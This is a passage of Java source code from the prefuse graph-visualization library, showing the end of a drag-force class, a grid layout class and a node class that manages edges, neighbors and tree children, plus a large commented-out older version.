*/
public void getForce(ForceItem item) {
item.force[0] += params[DRAG_COEFF]*item.velocity[0];
item.force[1] += params[DRAG_COEFF]*item.velocity[1];
} //
} // end of class DragForce<file_sep>package edu.berkeley.guir.prefusex.layout;
import java.awt.geom.Rectangle2D;
import java.util.Iterator;
import edu.berkeley.guir.prefuse.EdgeItem;
import edu.berkeley.guir.prefuse.ItemRegistry;
import edu.berkeley.guir.prefuse.NodeItem;
import edu.berkeley.guir.prefuse.action.assignment.Layout;
import edu.berkeley.guir.prefuse.graph.Graph;
import edu.berkeley.guir.prefuse.graph.Node;
/**
* Implements a uniform grid-based layout. This component can either use
* preset grid dimensions or analyze a grid-shaped graph to determine them
* automatically.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org</a>
*/
public class GridLayout extends Layout {
protected int rows;
protected int cols;
protected boolean sorted = false;
protected boolean analyze = false;
/**
* Create a new GridLayout without preset dimensions. The layout will
* attempt to analyze an input graph to determine grid parameters.
*/
public GridLayout() {
analyze = true;
} //
/**
* Create a new GridLayout using the specified grid dimensions. If the
* input data has more elements than the grid dimensions can hold, the
* left over elements will not be visible.
* @param nrows the number of rows of the grid
* @param ncols the number of columns of the grid
*/
public GridLayout(int nrows, int ncols) {
this(nrows, ncols, false);
} //
/**
* Create a new GridLayout using the specified grid dimensions. If the
* input data has more elements than the grid dimensions can hold, the
* left over elements will not be visible. Additionally, a sorted flag
* determines if the grid elements should be ordered based on their
* order in the original graph data (sorted=false) or ordered based on
* their rendering sort order in the ItemRegistry (sorted=true).
* @param nrows the number of rows of the grid
* @param ncols the number of columns of the grid
* @param sorted if true, uses the sort order of items in the
* ItemRegistry as the grid layout order, otherwise uses the order of
* elements in the original abstract data.
*/
public GridLayout(int nrows, int ncols, boolean sorted) {
rows = nrows;
cols = ncols;
sorted = true;
analyze = false;
} //
/**
* @see edu.berkeley.guir.prefuse.action.Action#run(edu.berkeley.guir.prefuse.ItemRegistry, double)
*/
public void run(ItemRegistry registry, double frac) {
Rectangle2D b = getLayoutBounds(registry);
double bx = b.getMinX(), by = b.getMinY();
double w = b.getWidth(), h = b.getHeight();
Graph g = (Graph)registry.getFilteredGraph();
int m = rows, n = cols;
if ( analyze ) {
int[] d = analyzeGraphGrid(g);
m = d[0]; n = d[1];
}
Iterator iter = (sorted?registry.getNodeItems():g.getNodes());
// layout grid contents
for ( int i=0; iter.hasNext() && i < m*n; i++ ) {
NodeItem ni = (NodeItem)iter.next();
ni.setVisible(true);
setEdgeVisibility(ni, true);
double x = bx + w*((i%n)/(double)(n-1));
double y = by + h*((i/n)/(double)(m-1));
setLocation(ni,null,x,y);
}
// set left-overs invisible
while ( iter.hasNext() ) {
NodeItem ni = (NodeItem)iter.next();
ni.setVisible(false);
setEdgeVisibility(ni, false);
}
} //
private void setEdgeVisibility(NodeItem n, boolean val) {
Iterator eiter = n.getEdges();
while ( eiter.hasNext() ) {
EdgeItem e = (EdgeItem)eiter.next();
e.setVisible(val);
}
} //
/**
* Analyzes a graph to try and determine it's grid dimensions. Currently
* looks for the edge count on anode to drop to 2 to determine the end of
* a row.
* @param g the input graph
* @return
*/
public static int[] analyzeGraphGrid(Graph g) {
// TODO: more robust grid analysis?
int m, n;
Iterator iter = g.getNodes(); iter.next();
for ( n=2; iter.hasNext(); n++ ) {
Node nd = (Node)iter.next();
if ( nd.getEdgeCount() == 2 )
break;
}
m = g.getNodeCount() / n;
return new int[] {m,n};
} //
/**
* @return Returns the number of columns.
*/
public int getNumCols() {
return cols;
} //
/**
* @param cols Sets the number of columns.
*/
public void setNumCols(int cols) {
this.cols = cols;
} //
/**
* @return Returns the numerb of rows.
*/
public int getNumRows() {
return rows;
} //
/**
* @param rows Sets the number of rows.
*/
public void setNumRows(int rows) {
this.rows = rows;
} //
/**
* @return Indicates if the item registry's sort order is used (true) or
* the ordering in the original source data (false).
*/
public boolean isSorted() {
return sorted;
} //
/**
* @param sorted Sets if the item registry's sort order is used (true) or
* the ordering in the original source data (false).
*/
public void setSorted(boolean sorted) {
this.sorted = sorted;
} //
} // end of class GridLayout
<file_sep>package edu.berkeley.guir.prefuse;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Iterator;
import java.util.List;
import java.util.NoSuchElementException;
import edu.berkeley.guir.prefuse.collections.NodeIterator;
import edu.berkeley.guir.prefuse.collections.WrapAroundIterator;
import edu.berkeley.guir.prefuse.graph.Edge;
import edu.berkeley.guir.prefuse.graph.Entity;
import edu.berkeley.guir.prefuse.graph.GraphLib;
import edu.berkeley.guir.prefuse.graph.Node;
import edu.berkeley.guir.prefuse.graph.TreeNode;
/**
* Visual representation of a node in a graph.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class NodeItem extends VisualItem implements TreeNode {
/**
* Initialize this NodeItem, binding it to the given
* ItemRegistry and Entity.
* @param registry the ItemRegistry monitoring this VisualItem
* @param entity the Entity represented by this VisualItem
*/
public void init(ItemRegistry registry, String itemClass, Entity entity) {
if ( entity != null && !(entity instanceof Node) ) {
throw new IllegalArgumentException("NodeItem can only represent an Entity of type Node.");
}
super.init(registry, itemClass, entity);
} //
/**
* Crear the state of this NodeItem
* @see edu.berkeley.guir.prefuse.VisualItem#clear()
*/
public void clear() {
super.clear();
removeAllNeighbors();
} //
// ========================================================================
private List m_edges = new ArrayList();
private List m_children;
private NodeItem m_parent;
private EdgeItem m_parentEdge;
private int m_numDescendants;
private void nodeItemCheck(Node n) {
if ( n != null && !(n instanceof NodeItem) )
throw new IllegalArgumentException(
"Node must be an instance of NodeItem");
} //
private void edgeItemCheck(Edge e) {
if ( e != null && !(e instanceof EdgeItem) )
throw new IllegalArgumentException(
"Edge must be an instance of EdgeItem");
} //
//----------------------------------------------------------------------
/**
* Adds an edge connecting this node to another node. The edge is added to
* the end of this node's internal list of edges.
* @param e the Edge to add
* @return true if the edge was added, false if the edge connects to a
* node that is alrady a neighbor of this node.
* @see edu.berkeley.guir.prefuse.graph.Node#addEdge(edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean addEdge(Edge e) {
return addEdge(m_edges.size(), e);
} //
/**
* Adds an edge connecting this node to another node at the specified
* index.
* @param idx the index at which to insert the edge
* @param e the Edge to add
* @return true if the edge was added, false if the edge connects to a
* node that is alrady a neighbor of this node.
* @see edu.berkeley.guir.prefuse.graph.Node#addEdge(int, edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean addEdge(int idx, Edge e) {
edgeItemCheck(e);
if ( e.isDirected() && this != e.getFirstNode() ) {
throw new IllegalArgumentException("Directed edges must have the "
+ "source as the first node in the Edge.");
}
Node n = e.getAdjacentNode(this);
if ( n == null ) {
throw new IllegalArgumentException(
"The Edge must be incident on this Node.");
}
if ( isNeighbor(n) )
return false;
m_edges.add(idx,e);
return true;
} //
/**
* Returns the edge at the specified index.
* @param idx the index at which to retrieve the edge
* @return the requested Edge
* @see edu.berkeley.guir.prefuse.graph.Node#getEdge(int)
*/
public Edge getEdge(int idx) {
return (Edge)m_edges.get(idx);
} //
/**
* Returns the edge connected to the given neighbor node.
* @param n the neighbor node for which to retrieve the edge
* @return the requested Edge
* @throws NoSuchElementException if the given node is not a neighbor of
* this node.
* @see edu.berkeley.guir.prefuse.graph.Node#getEdge(edu.berkeley.guir.prefuse.graph.Node)
*/
public Edge getEdge(Node n) {
nodeItemCheck(n);
for ( int i=0; i < m_edges.size(); i++ ) {
Edge e = (Edge)m_edges.get(i);
if ( n == e.getAdjacentNode(this) )
return e;
}
throw new NoSuchElementException();
} //
/**
* Returns the number of edges adjacent to this node.
* @return the number of adjacent edges. This is the same as the number
* of neighbor nodes connected to this node.
* @see edu.berkeley.guir.prefuse.graph.Node#getEdgeCount()
*/
public int getEdgeCount() {
return m_edges.size();
} //
/**
* Returns an iterator over all edge items adjacent to this node.
* @return an iterator over all adjacent edges.
* @see edu.berkeley.guir.prefuse.graph.Node#getEdges()
*/
public Iterator getEdges() {
return m_edges.iterator();
} //
/**
* Returns the index, or position, of an incident edge. Returns -1 if the
* input edge is not incident on this node.
* @param e the edge to find the index of
* @return the edge index, or -1 if this edge is not incident
*/
public int getIndex(Edge e) {
edgeItemCheck(e);
return m_edges.indexOf(e);
} //
/**
* Returns the index, or position, of a neighbor node. Returns -1 if the
* input node is not a neighbor of this node.
* @param n the node to find the index of
* @return the node index, or -1 if this node is not a neighbor
*/
public int getIndex(Node n) {
nodeItemCheck(n);
for ( int i=0; i < m_edges.size(); i++ ) {
if ( n == ((Edge)m_edges.get(i)).getAdjacentNode(this) )
return i;
}
return -1;
} //
/**
* Returns the i'th neighbor of this node.
* @param idx the index of the neighbor in the neighbor list.
* @return the neighbor node at the specified position
*/
public Node getNeighbor(int idx) {
return ((Edge)m_edges.get(idx)).getAdjacentNode(this);
} //
/**
* Returns an iterator over all neighbor nodes of this node.
* @return an iterator over this node's neighbors.
*/
public Iterator getNeighbors() {
return new NodeIterator(m_edges.iterator(), this);
} //
/**
* Indicates if a given edge is not only incident on this node
* but stored in this node's internal list of edges.
* @param e the edge to check for incidence
* @return true if the edge is incident on this node and stored in this
* node's internal list of edges, false otherwise.
* @see edu.berkeley.guir.prefuse.graph.Node#isIncidentEdge(edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean isIncidentEdge(Edge e) {
edgeItemCheck(e);
return ( m_edges.indexOf(e) > -1 );
} //
/**
* Indicates if a given node is a neighbor of this one.
* @param n the node to check as a neighbor
* @return true if the node is a neighbor, false otherwise
*/
public boolean isNeighbor(Node n) {
nodeItemCheck(n);
return ( getIndex(n) > -1 );
} //
/**
* Removes all edges incident on this node.
*/
public void removeAllNeighbors() {
if ( m_children != null ) m_children.clear();
m_parentEdge = null;
m_parent = null;
m_edges.clear();
} //
/**
* Remove the given edge as an incident edge on this node
* @param e the edge to remove
* @return true if the edge was found and removed, false otherwise
*/
public boolean removeEdge(Edge e) {
edgeItemCheck(e);
int idx;
if ( e == m_parentEdge ) {
m_parent = null;
m_parentEdge = null;
} else if (m_children!=null && (idx=m_children.indexOf(e))>-1) {
m_children.remove(idx);
}
idx = m_edges.indexOf(e);
return ( idx>-1 ? m_edges.remove(idx)!=null : false );
} //
/**
* Remove the incident edge at the specified index.
* @param idx the index at which to remove an edge
*/
public Edge removeEdge(int idx) {
Edge e = (Edge)m_edges.remove(idx);
if ( e == m_parentEdge ) {
m_parent = null;
m_parentEdge = null;
} else if (m_children!=null && (idx=m_children.indexOf(e))>-1) {
m_children.remove(idx);
}
return e;
} //
/**
* Remove the given node as a neighbor of this node. The edge connecting
* the nodes is also removed.
* @param n the node to remove
* @return true if the node was found and removed, false otherwise
*/
public boolean removeNeighbor(Node n) {
nodeItemCheck(n);
for ( int i=0; i < m_edges.size(); i++ ) {
if ( n == ((Edge)m_edges.get(i)).getAdjacentNode(this) )
return m_edges.remove(i) != null;
}
return false;
} //
/**
* Remove the neighbor node at the specified index.
* @param idx the index at which to remove a node
*/
public Node removeNeighbor(int idx) {
return ((Edge)removeEdge(idx)).getAdjacentNode(this);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#addChild(edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean addChild(Edge e) {
int i = ( m_children == null ? 0 : m_children.size() );
return addChild(i,e);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#addChild(int, edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean addChild(int idx, Edge e) {
edgeItemCheck(e);
Node n = e.getAdjacentNode(this);
if ( n == null || e.isDirected() || !(n instanceof TreeNode) )
throw new IllegalArgumentException("Not a valid, connecting tree edge!");
TreeNode c = (TreeNode)n;
if ( getIndex(c) > -1 )
return false;
if ( getChildIndex(c) > -1 )
return false;
if ( m_children == null ) // lazily allocate child list
m_children = new ArrayList(3);
int nidx = ( idx > 0 ? getIndex(getChild(idx-1))+1 : 0 );
addEdge(nidx,e);
m_children.add(idx,e);
c.addEdge(e);
c.setParentEdge(e);
int delta = 1 + c.getDescendantCount();
for ( TreeNode p = this; p != null; p = p.getParent() )
p.setDescendantCount(p.getDescendantCount()+delta);
return true;
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getChild(int)
*/
public TreeNode getChild(int idx) {
if ( m_children == null || idx < 0 || idx >= m_children.size() ) {
throw new IndexOutOfBoundsException();
} else {
return (TreeNode)((Edge)m_children.get(idx)).getAdjacentNode(this);
}
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getChildCount()
*/
public int getChildCount() {
return ( m_children == null ? 0 : m_children.size() );
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getChildEdge(int)
*/
public Edge getChildEdge(int idx) {
if ( m_children == null || idx < 0 || idx >= m_children.size() ) {
throw new IndexOutOfBoundsException();
} else {
return (Edge)m_children.get(idx);
}
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getChildIndex(edu.berkeley.guir.prefuse.graph.Edge)
*/
public int getChildIndex(Edge e) {
edgeItemCheck(e);
return ( m_children == null ? -1 : m_children.indexOf(e) );
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getChildIndex(edu.berkeley.guir.prefuse.graph.TreeNode)
*/
public int getChildIndex(TreeNode c) {
nodeItemCheck(c);
if ( m_children != null )
for ( int i=0; i < m_children.size(); i++ ) {
if ( c == ((Edge)m_children.get(i)).getAdjacentNode(this) )
return i;
}
return -1;
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getChildEdges()
*/
public Iterator getChildEdges() {
if ( m_children == null || m_children.size() == 0 ) {
return Collections.EMPTY_LIST.iterator();
} else {
int pidx = ( m_parent == null ? 0 :
GraphLib.nearestIndex(this, m_parent) % m_children.size() );
if ( pidx == 0 ) {
return m_children.iterator();
} else {
return new WrapAroundIterator(m_children, pidx);
}
}
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getChildren()
*/
public Iterator getChildren() {
return new NodeIterator(getChildEdges(), this);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getDescendantCount()
*/
public int getDescendantCount() {
return m_numDescendants;
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getNextSibling()
*/
public TreeNode getNextSibling() {
int idx = m_parent.getChildIndex(this) + 1;
return (idx==m_parent.getChildCount() ? null : m_parent.getChild(idx));
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getParent()
*/
public TreeNode getParent() {
return m_parent;
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getParentEdge()
*/
public Edge getParentEdge() {
return m_parentEdge;
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#getPreviousSibling()
*/
public TreeNode getPreviousSibling() {
int idx = m_parent.getChildIndex(this);
return (idx==0 ? null : m_parent.getChild(idx-1));
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#isChild(edu.berkeley.guir.prefuse.graph.TreeNode)
*/
public boolean isChild(TreeNode n) {
nodeItemCheck(n);
return ( getChildIndex(n) >= 0 );
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#isChildEdge(edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean isChildEdge(Edge e) {
edgeItemCheck(e);
return ( m_children==null ? false : m_children.indexOf(e) > -1 );
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#isDescendant(edu.berkeley.guir.prefuse.graph.TreeNode)
*/
public boolean isDescendant(TreeNode n) {
nodeItemCheck(n);
while ( n != null ) {
if ( this == n ) {
return true;
} else {
n = n.getParent();
}
}
return false;
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#isSibling(edu.berkeley.guir.prefuse.graph.TreeNode)
*/
public boolean isSibling(TreeNode n) {
nodeItemCheck(n);
return ( this != n && this.getParent()==n.getParent() );
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#removeAllAsChildren()
*/
public void removeAllAsChildren() {
if ( m_children == null ) { return; }
Iterator iter = m_children.iterator();
while ( iter.hasNext() ) {
TreeNode c = (TreeNode)((Edge)iter.next()).getAdjacentNode(this);
c.setParentEdge(null);
}
m_children.clear();
int delta = m_numDescendants;
for ( TreeNode p = this; p != null; p = p.getParent() )
p.setDescendantCount(p.getDescendantCount()-delta);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#removeAllChildren()
*/
public void removeAllChildren() {
if ( m_children == null ) { return; }
while ( !m_children.isEmpty() ) {
Edge e = (Edge)m_children.get(m_children.size()-1);
TreeNode c = (TreeNode)e.getAdjacentNode(this);
c.setParentEdge(null);
c.removeNeighbor(this);
removeEdge(e);
}
int delta = m_numDescendants;
for ( TreeNode p = this; p != null; p = p.getParent() )
p.setDescendantCount(p.getDescendantCount()-delta);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#removeAsChild(edu.berkeley.guir.prefuse.graph.TreeNode)
*/
public boolean removeAsChild(TreeNode n) {
nodeItemCheck(n);
return ( removeAsChild(getChildIndex(n)) != null );
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#removeAsChild(int)
*/
public TreeNode removeAsChild(int idx) {
if ( idx < 0 || idx >= getChildCount() )
throw new IndexOutOfBoundsException();
Edge e = (Edge)m_children.remove(idx);
TreeNode c = (TreeNode)e.getAdjacentNode(this);
c.setParentEdge(null);
int delta = 1 + c.getDescendantCount();
for ( TreeNode p = this; p != null; p = p.getParent() )
p.setDescendantCount(p.getDescendantCount()-delta);
return c;
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#removeChild(edu.berkeley.guir.prefuse.graph.TreeNode)
*/
public boolean removeChild(TreeNode n) {
nodeItemCheck(n);
return ( removeChild(getChildIndex(n)) != null );
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#removeChild(int)
*/
public TreeNode removeChild(int idx) {
TreeNode c = removeAsChild(idx);
c.removeNeighbor(this);
return c;
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#removeChildEdge(edu.berkeley.guir.prefuse.graph.Edge)
*/
public boolean removeChildEdge(Edge e) {
edgeItemCheck(e);
return ( removeChildEdge(getChildIndex(e)) != null );
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#removeChildEdge(int)
*/
public Edge removeChildEdge(int idx) {
if ( idx < 0 || idx >= getChildCount() )
throw new IndexOutOfBoundsException();
Edge e = (Edge)m_children.remove(idx);
TreeNode c = (TreeNode)e.getAdjacentNode(this);
c.setParentEdge(null);
c.removeEdge(e);
int delta = 1 + c.getDescendantCount();
for ( TreeNode p = this; p != null; p = p.getParent() )
p.setDescendantCount(p.getDescendantCount()-delta);
return e;
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#setAsChild(edu.berkeley.guir.prefuse.graph.TreeNode)
*/
public boolean setAsChild(TreeNode c) {
nodeItemCheck(c);
int i = ( m_children == null ? 0 : m_children.size() );
return setAsChild(i,c);
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#setAsChild(int, edu.berkeley.guir.prefuse.graph.TreeNode)
*/
public boolean setAsChild(int i, TreeNode c) {
nodeItemCheck(c);
int idx;
if ( (idx=getIndex(c)) < 0 )
throw new IllegalStateException("Node is not already a neighbor!");
if ( getChildIndex(c) > -1 )
return false;
int size = ( m_children == null ? 0 : m_children.size() );
if ( i < 0 || i > size )
throw new IndexOutOfBoundsException();
if ( m_children == null )
m_children = new ArrayList(3);
Edge e = getEdge(idx);
m_children.add(i, e);
c.setParentEdge(e);
int delta = 1 + c.getDescendantCount();
for ( TreeNode p = this; p != null; p = p.getParent() )
p.setDescendantCount(p.getDescendantCount()+delta);
return true;
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#setDescendantCount(int)
*/
public void setDescendantCount(int count) {
m_numDescendants = count;
} //
/**
* @see edu.berkeley.guir.prefuse.graph.TreeNode#setParentEdge(edu.berkeley.guir.prefuse.graph.Edge)
*/
public void setParentEdge(Edge e) {
edgeItemCheck(e);
m_parentEdge = (EdgeItem)e;
m_parent = (e==null ? null : (NodeItem)e.getAdjacentNode(this));
} //
public int getDepth() {
int d = 0;
NodeItem item = this;
while ( (item=(NodeItem)item.getParent()) != null )
d++;
return d;
} //
//----------------------------------------------------------------------
// public void removeAllNeighbors() {
// if ( m_children != null ) m_children.clear();
// m_neighbors.clear();
// m_edges.clear();
// m_parent = null;
// } //
//
// public int getDepth() {
// int d = 0;
// NodeItem item = this;
// while ( (item=item.getParent()) != null )
// d++;
// return d;
// } //
//
// public boolean isSibling(NodeItem n) {
// NodeItem p = n.getParent();
// return ( this != n && p != null && p == n.getParent() );
// } //
//
// /**
// * Returns the i'th neighbor of this node.
// * @param i the index of the neighbor in the neighbor list.
// * @return DefaultNode the DefaultNode at the specified position in the list of
// * neighbors
// */
// public NodeItem getNeighbor(int i) {
// return (NodeItem)m_neighbors.get(i);
// } //
//
// /**
// * Indicates if a given node is a neighbor of this one.
// * @param n the node to check as a neighbor
// * @return true if the node is a neighbor, false otherwise
// */
// public boolean isNeighbor(NodeItem n) {
// return ( getNeighborIndex(n) > -1 );
// } //
//
// /**
// * Returns the index, or position, of a neighbor node. Returns -1 if the
// * input node is not a neighbor of this node.
// * @param n the node to find the index of
// * @return the node index, or -1 if this node is not a neighbor
// */
// public int getNeighborIndex(NodeItem n) {
// return m_neighbors.indexOf(n);
// } //
//
// /**
// * Return the total number of neighbors of this node.
// * @return the number of neighbors
// */
// public int getEdgeCount() {
// return m_neighbors.size();
// } //
//
// /**
// * Remove the neighbor node at the specified index.
// * @param i the index at which to remove a node
// */
// public NodeItem removeNeighbor(int i) {
// EdgeItem e = (EdgeItem)m_edges.remove(i);
// return (NodeItem)m_neighbors.remove(i);
// } //
//
// public Iterator getNeighbors() {
// return m_neighbors.iterator();
// } //
//
// public Iterator getEdges() {
// return m_edges.iterator();
// } //
//
// public EdgeItem getEdge(NodeItem n) {
// return (EdgeItem)m_edges.get(m_neighbors.indexOf(n));
// } //
//
// public EdgeItem getEdge(int i) {
// return (EdgeItem)m_edges.get(i);
// } //
//
// public boolean isIncidentEdge(EdgeItem e) {
// return ( m_edges.indexOf(e) > -1 );
// } //
//
// public int getEdgeIndex(EdgeItem e) {
// return m_edges.indexOf(e);
// } //
//
// public boolean addEdge(EdgeItem e) {
// return addEdge(m_edges.size(), e);
// } //
//
// public boolean addEdge(int i, EdgeItem e) {
// NodeItem n1 = e.getFirstNode();
// NodeItem n2 = e.getSecondNode();
// if ( !e.isDirected() && n2 == this ) {
// NodeItem tmp = n1; n1 = n2; n2 = tmp;
// }
// if ( n1 != this ) {
// throw new IllegalArgumentException(
// "Edge must be incident on this Node!");
// }
// if ( isIncidentEdge(e) || isNeighbor(n2) )
// return false;
// m_edges.add(i,e);
// m_neighbors.add(i,n2);
// return true;
// } //
//
// public boolean removeEdge(EdgeItem e) {
// return ( removeEdge(m_edges.indexOf(e)) != null );
// } //
//
// public EdgeItem removeEdge(int i) {
// m_neighbors.remove(i);
// return (EdgeItem)m_edges.remove(i);
// } //
//
//
// // -- tree routines -------------------------------------------------------
//
// public int getChildCount() {
// return ( m_children == null ? 0 : m_children.size() );
// } //
//
// public Iterator getChildren() {
// if ( m_children != null )
// return m_children.iterator();
// else
// return Collections.EMPTY_LIST.iterator();
// } //
//
// public NodeItem getChild(int idx) {
// if ( m_children == null )
// throw new IndexOutOfBoundsException();
// return (NodeItem)m_children.get(idx);
// } //
//
// public int getChildIndex(NodeItem child) {
// return m_children==null ? -1 : m_children.indexOf(child);
// } //
//
// public boolean addChild(EdgeItem e) {
// int i = ( m_children == null ? 0 : m_children.size() );
// return addChild(i,e);
// } //
//
// /**
// * Inserts a new child at the specified location in this node's child list.
// * @param i index at which to add the child
// * @param e the DefaultEdge to the child
// */
// public boolean addChild(int i, EdgeItem e) {
// NodeItem n1 = e.getFirstNode();
// NodeItem n2 = e.getSecondNode();
// if ( e.isDirected() || !(n1 != this ^ n2 != this) )
// throw new IllegalArgumentException("Not a valid Edge!");
// NodeItem c = ( n1 == this ? n2 : n1 );
// if ( getChildIndex(c) > -1 || getNeighborIndex(c) > -1 )
// return false;
// if ( m_children == null )
// m_children = new ArrayList();
//
// int idx = ( i > 0 ? getNeighborIndex(getChild(i-1))+1 : 0 );
// addEdge(idx,e);
// m_children.add(i, c);
//
// c.addEdge(e);
// c.setParent(this);
// return true;
// } //
//
// public void removeChild(int idx) {
// VisualItem item = (NodeItem)m_children.remove(idx);
// if ( item instanceof NodeItem )
// ((NodeItem)item).setParent(null);
// } //
//
// public void removeAllChildren() {
// if ( m_children == null ) return;
// while ( m_children.size() > 0 ) {
// NodeItem item = (NodeItem)m_children.remove(m_children.size()-1);
// item.setParent(null);
// }
// } //
//
// public NodeItem getParent() {
// return m_parent;
// } //
//
// public void setParent(NodeItem item) {
// m_parent = item;
// } //
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#addChild(edu.berkeley.guir.prefuse.graph.Edge)
// */
// public boolean addChild(Edge e) {
// // TODO Auto-generated method stub
// return false;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#addChild(int, edu.berkeley.guir.prefuse.graph.Edge)
// */
// public boolean addChild(int idx, Edge e) {
// // TODO Auto-generated method stub
// return false;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#getChildEdge(int)
// */
// public Edge getChildEdge(int idx) {
// // TODO Auto-generated method stub
// return null;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#getChildEdges()
// */
// public Iterator getChildEdges() {
// // TODO Auto-generated method stub
// return null;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#getChildIndex(edu.berkeley.guir.prefuse.graph.Edge)
// */
// public int getChildIndex(Edge e) {
// // TODO Auto-generated method stub
// return 0;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#getChildIndex(edu.berkeley.guir.prefuse.graph.TreeNode)
// */
// public int getChildIndex(TreeNode c) {
// // TODO Auto-generated method stub
// return 0;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#getNextSibling()
// */
// public TreeNode getNextSibling() {
// // TODO Auto-generated method stub
// return null;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#getDescendantCount()
// */
// public int getDescendantCount() {
// // TODO Auto-generated method stub
// return 0;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#getParentEdge()
// */
// public Edge getParentEdge() {
// // TODO Auto-generated method stub
// return null;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#getPreviousSibling()
// */
// public TreeNode getPreviousSibling() {
// // TODO Auto-generated method stub
// return null;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#isChild(edu.berkeley.guir.prefuse.graph.TreeNode)
// */
// public boolean isChild(TreeNode c) {
// // TODO Auto-generated method stub
// return false;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#isChildEdge(edu.berkeley.guir.prefuse.graph.Edge)
// */
// public boolean isChildEdge(Edge e) {
// // TODO Auto-generated method stub
// return false;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#isDescendant(edu.berkeley.guir.prefuse.graph.TreeNode)
// */
// public boolean isDescendant(TreeNode n) {
// // TODO Auto-generated method stub
// return false;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#isSibling(edu.berkeley.guir.prefuse.graph.TreeNode)
// */
// public boolean isSibling(TreeNode n) {
// // TODO Auto-generated method stub
// return false;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#removeAllAsChildren()
// */
// public void removeAllAsChildren() {
// // TODO Auto-generated method stub
//
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#removeAsChild(int)
// */
// public TreeNode removeAsChild(int idx) {
// // TODO Auto-generated method stub
// return null;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#removeAsChild(edu.berkeley.guir.prefuse.graph.TreeNode)
// */
// public boolean removeAsChild(TreeNode n) {
// // TODO Auto-generated method stub
// return false;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#removeChild(edu.berkeley.guir.prefuse.graph.TreeNode)
// */
// public boolean removeChild(TreeNode n) {
// // TODO Auto-generated method stub
// return false;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#removeChildEdge(edu.berkeley.guir.prefuse.graph.Edge)
// */
// public boolean removeChildEdge(Edge e) {
// // TODO Auto-generated method stub
// return false;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#removeChildEdge(int)
// */
// public Edge removeChildEdge(int idx) {
// // TODO Auto-generated method stub
// return null;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#setAsChild(int, edu.berkeley.guir.prefuse.graph.TreeNode)
// */
// public boolean setAsChild(int idx, TreeNode c) {
// // TODO Auto-generated method stub
// return false;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#setAsChild(edu.berkeley.guir.prefuse.graph.TreeNode)
// */
// public boolean setAsChild(TreeNode c) {
// // TODO Auto-generated method stub
// return false;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#setDescendantCount(int)
// */
// public void setDescendantCount(int count) {
// // TODO Auto-generated method stub
//
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.TreeNode#setParentEdge(edu.berkeley.guir.prefuse.graph.Edge)
// */
// public void setParentEdge(Edge e) {
// // TODO Auto-generated method stub
//
// }
//
// /**
